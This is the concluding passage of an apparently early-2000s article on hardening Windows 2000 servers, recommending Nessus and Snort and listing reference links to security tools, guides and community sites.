2. I found Nessus to be a very effective tool for exposing holes within an installation. It has helped greatly in securing my servers.

3. Snort has been terrific in a few different areas. Not only does Snort do a great job of alerting to potential security problems, it has been very effective as a learning tool. The ability to analyze attacks by reviewing the packet data has been highly educational.

References:

[1] http://www.nessus.org/ Homepage of Nessus.
Freeware and recommended to at least try before you plunk down cash on a commercial product.

[2] http://www.snort.org/ Homepage of Snort.
Freeware and recommended to at least try before you plunk down cash on a commercial product.

[3] http://www.astalavista.net/member/board/ A fun site for insight into hacking and computer security
As of this writing the astalavista.net public board does not require a paid membership.

[4] http://www.systemexperts.com/literature.html/ A nice windows 2000 hardening guide written by Phil Cox along with some other fine offerings from system Experts.

[5] http://www.microsoft.com/windows2000/techinfo/howitworks/management/w2kservices.asp
A very helpful 22 page reference to Windows 2000 services.

[6] http://www.packx.net/packx/html/en/index-en.htm/ Homepage for IDSCenter.
A nice GUI interface for Snort on the Win32 platform.

[7] http://www.atstake.com/research/tools/ Netcat is available for both *nix and Win32 platforms.

[8] http://packetstorm.decepticons.org/ A great site to review the current state of security.